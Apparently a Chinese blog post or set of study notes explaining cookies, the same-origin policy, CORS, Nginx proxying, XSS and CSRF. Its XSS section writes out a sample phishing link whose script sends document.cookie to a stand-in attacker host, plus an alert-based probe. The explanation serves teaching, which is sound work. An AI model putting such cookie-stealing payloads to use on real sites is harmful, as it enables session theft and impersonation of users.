cookie和web安全

cookie

https://www.liangzl.com/get-article-detail-16019.html

• cookie是用来在浏览器存储数据的一种方式，按照‘key=value’的方式进行存储（格式是字符串）
• cookie存储的数据可以通过设置过期时间来设置数据在浏览器中保存的时间长短，少则几秒多则成年累月都可以。过期时间默认是会话级别的，即关闭浏览器窗口的同时就会被删除。
• cookie的设置，有两种方式，一是服务器返回给我们的网页中，在响应头中有让客户端保存cookie的代码（set-cookie），比如用户登录网站后，服务器返回的让客户端（浏览器）保存用以鉴证用户身份的token信息；还有一种是当前网页的js代码中有设置cookie的代码。无论何种方式，都只能设置当前域名下cookie。
• cookie的获取使用。浏览器中保存的cookie数据是有作用域的，一般情况是可以按域名来区分的。当我们访问某个域名的web服务器时，只能使用该域名下的cookie。并且当我们访问某个域名的web服务器时，浏览器自动会将该域名下的全部cookie数据封装到http请求头中传递给服务器。比如保存了用户身份信息的token信息就可以被传递给服务器（即便如此，也很难保证web安全，下面会介绍CSRF：跨域请求伪装）。
     cookie还有一种获取和使用方式就是当前页面的js代码，js代码既可以设置又可以获取当前页面所在域名下的cookie数据。

同源策略

参考：http://www.ruanyifeng.com/blog/2016/04/same-origin-policy.html

• 含义
  1995年，同源政策由 Netscape 公司引入浏览器。目前，所有浏览器都实行这个政策。
  最初，它的含义是指，A网页设置的 Cookie，B网页不能打开，除非这两个网页"同源"。所谓"同源"指的是"三个相同"：协议相同、域名相同、端口相同。

• 目的
     同源政策的目的，是为了保证用户信息的安全，防止恶意的网站窃取数据。
     Ajax通过XMLHttpRequest能够与远程的服务器进行信息交互，另外XMLHttpRequest是一个纯粹的Javascript对象，这样的交互过程，是在后台进行的，用户不易察觉。因此，XMLHTTP实际上已经突破了原有的Javascript的安全限制。所以Ajax (XMLHttpRequest)请求要受到同源策略的限制。
     设想这样一种情况：A网站是一家银行，用户登录以后，又去浏览其他网站。如果其他网站可以读取A网站的 Cookie，会发生什么？
     很显然，如果 Cookie 包含隐私（比如存款总额），这些信息就会泄漏。更可怕的是，Cookie 往往用来保存用户的登录状态，如果用户没有退出登录，其他网站就可以冒充用户，为所欲为。因为浏览器同时还规定，提交表单不受同源政策的限制。
  由此可见，"同源政策"是必需的，否则 Cookie 可以共享，互联网就毫无安全可言了。
     或者，比如一个恶意网站的页面通过iframe嵌入了银行的登录页面（二者不同源），如果没有同源限制，恶意网页上的javascript脚本就可以在用户登录银行的时候获取用户名和密码。

• 限制范围
  随着互联网的发展，"同源政策"越来越严格。目前，如果非同源，共有三种行为受到限制。
  （1） Cookie、LocalStorage 和 IndexDB 无法读取。
  （2） DOM 无法获得。
  （3） AJAX 请求不能发送。
  虽然这些限制是必要的，但是有时很不方便，合理的用途也受到影响。所以有时候需要规避上面三种限制。

• 应用
  在浏览器中，script，img、iframe、link等标签都可以加载跨域资源，而不受同源限制，但浏览器限制了JavaScript的权限使其不能读、写加载的内容。所以这些标签为浏览器自身发起的请求并获取了静态内容，可以被浏览器直接使用，但是本地的js代码却无法直接获取这些内容并进行操作。所以同源策略最大的限制就是针对ajax请求。

• 跨域请求：
  同源政策规定，AJAX请求只能发给同源的网址，否则就报错。
  除了架设服务器代理（浏览器请求同源服务器，再由后者请求外部服务），有三种方法规避这个限制。
  1、JSONP （需要后端配合，后端也要写对应代码）
  2、WebSocket
  3、CORS
  注：CORS是跨源资源分享（Cross-Origin Resource Sharing）的缩写。它是W3C标准，是跨源AJAX请求的根本解决方法。相比JSONP只能发GET请求，CORS允许任何类型的请求。它只需要后端程序员对接口进行配置（通常设置Access-Control-Allow-Origin: *），前端无需任何改变。浏览器在检测到ajax要访问非同源接口时，会先发送一个请求进行试探，如果服务器允许非同源访问，那么浏览器在获得该信息后会发送真正的请求信息。
  参考：http://www.ruanyifeng.com/blog/2016/04/cors.html

xss（跨站脚本攻击）

• xss 是通过在客户端访问到的网页中插入恶意js代码实现攻击
  https://www.cnblogs.com/Tempt/p/11197159.html
• 分类：反射型、储存型、dom型
     反射型，是通过将恶意js代码（比如<img src=aaa onerror=alert('xss')>）加入到提交给服务器的参数中来实现。而且服务器一般是将该参数值（没有过滤）直接再次返回给客户端，比如搜索框。当客户端浏览器接收到返回的页面中含有该js代码时，那该js代码就会执行。但是如此看来反射型的代码好像只能坑我们自己，其实并非如此。首先可以通过这样方式可以快速检测该服务器网站有没有可以进行xss攻击的可能性；如果有，也可以通过某些方式实现窃取用户cookie，比如我们在某个正规网站的正常链接后面拼接上一段js代码作为参数，这样就成了一个新的链接，我们可以将这个连接取个具有迷惑性的名字，通过垃圾邮件的形式传递给被攻击用户（只有用户点击了该连接就会被攻击）。
  比如该正规网站的正常代码是这样的：http://www.dubai.com/
  我们在发给别人的垃圾邮件中加入了xss的具有攻击性的链接是这样的：‘恭喜您中了一等奖’（http://www.dubai.com/?send=<script><img src = "http://www.hackerserver.com/?ck=" + document.cookie</script>）
  如果该正规网站是可以进行xss攻击的，那么当别人点击了垃圾邮件中的链接地址后，会向正规网站发送请求，而正规网站作出响应，由于没对用户传入的参数做代码检查，会将用户提交的参数返回。因为返回的html代码中，包含了xss的js代码，浏览器会解析执行js代码。对于该段代码，是用来窃取用户的cookie的。因为当前js代码的运行环境是该正规网站的返回的网页，所以该js代码可以获取到该用户该网站域名下的所有cookie，并将它们发送给了黑客自己的服务器。
  如果这段xss代码在执行的时候，被攻击用户已经登录了该正规网站（或者用户长期保存了该网站的登录token），那么黑客可以获取到该用户的token信息，黑客可以在自己的浏览器中直接修改该token值假冒用户身份登录该正规网站进行破坏操作。
     储存型，就是在进行xss攻击某正规网站服务器时，服务器会将我们提交的xss的js代码（以参数提交）不做检验直接存进了数据库，比如留言板或评论等输入框。那么当其它用户，每次访问到含有留言或评论的页面时，正规网站都会将我们提交的js代码返回给其它用户，在其它用户的浏览器上执行该js代码。因为是被存进了数据库，所以该xss的js代码会长期有效。
     dom型，有时间再写。

请求和cookie

• 请求，先说一下发起请求的方式，大概分为两类：一类是html标签请求（比如a、img、form、script标签等），一类是js代码请求（比如ajax等）。（当然还有在浏览器地址栏中输入网址以及重定向发起的请求，这都是浏览器自己的行为，这个暂不讨论）。html标签发起的请求，返回的一般都是静态资源，比如网页、图片、js、css文件等；而js的ajax发起的请求，一般返回的都是动态数据（所以浏览器的同源策略只是对ajax有限制影响）。

• 请求根据请求源和目标又分为同源请求和跨域请求。发起请求的页面的源和请求的目标的域名和端口都一致，是为同源请求；不一致则是跨域请求。

• 通过html标签发起的请求，不管是不是同源请求，默认都会自动带着同请求域一致的域下的cookie数据（放到请求头中）到服务器。如果服务器的响应头中有setcookie，那么浏览器会将得到的cookie数据设置到请求域的域名下。
     跨站请求伪造（CSRF）,就是在钓鱼网页中，加入a、img等html标签，src属性指向正规网址，那么向正规网址发送请求时，会自动携带请求域下的cookie值，如果cookie中有登录token，那么会造成身份盗用。

     浏览器同源策略的目的是为了保证用户信息的安全，防止恶意的网站窃取数据。如果网页之间不满足同源要求，将不能:

  1、共享Cookie、LocalStorage、IndexDB
  2、获取DOM
  3、AJAX请求不能发送

     所以如果是通过js代码的ajax发起的请求，如果是同源请求，也会自动携带该域下的cookie数据；如果是跨域请求，浏览器默认是不允许ajax跨域请求的，如果ajax想跨域请求，那么浏览器私下会先发信息到要请求的服务器，查看服务器的接口是否允许跨域访问，如果服务器设置了允许，那么浏览器才会发送ajax的跨域请求到服务器，但此时默认仍不会携带源域下的cookie。
     ajax的跨域请求，如果想自动携带源域（当前网页所在域）下的cookie，需要进行设置。要用到CORS（是一个W3C标准，全称是"跨域资源共享"：Cross-origin resource sharing），并且仍要服务器端配合设置。具体参考文章
     当然ajax不管是不是跨域请求，ajax本身通过js代码是可以获取源域（当前网页所在域）下的cookie数据的。

  注：不论前端何种形式的跨域请求，服务器端都可以设置是否接受跨域请求，所以跨域请求想要成功，一般离不开服务器端的配合。

• Nginx，具有web服务器和反向代理的功能，所以前后端分离的项目，Nginx的默认服务地址为前端地址，访问静态资源直接返回，访问动态资源可通过反向代理转发至后端接口。这样的话，对应浏览器来说，永远只访问前端（静态资源）接口就行了，也就不存在跨域问题。